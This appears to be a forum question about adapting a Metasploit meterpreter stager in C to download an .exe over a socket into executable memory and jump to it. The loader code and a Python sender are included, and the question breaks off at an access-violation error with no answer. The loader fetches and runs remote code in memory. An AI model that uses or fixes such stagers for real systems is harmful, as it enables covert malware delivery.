loading an running an exe file from a buffer in C - c

Question

I wanted to retrieve an exe file from a socket and run it right from the buffer in C . I've found this little loader in github which was written to load meterpreter:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
As far as i know it works like this:
it gets the size of the exe file and allocates a buffer with the size + 5.
then it downloads the file using a socket and saves it in the buffer.
and casts the buffer to a pointer to function and simply calls the function.
That's what is does from a high abstraction. Though I don't exactly know what buffer[0] = 0xBF; actually does.
I've tried to change the code to run my exe file like this (the rest of functions are exactly the same as the original code):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
As you can see I've just hard coded the size of my file in bytes.
Here is how I send the file:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
But after running the C code I get "Access violation":
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
I'd appreciate any help on why this happens and what I am doing wrong.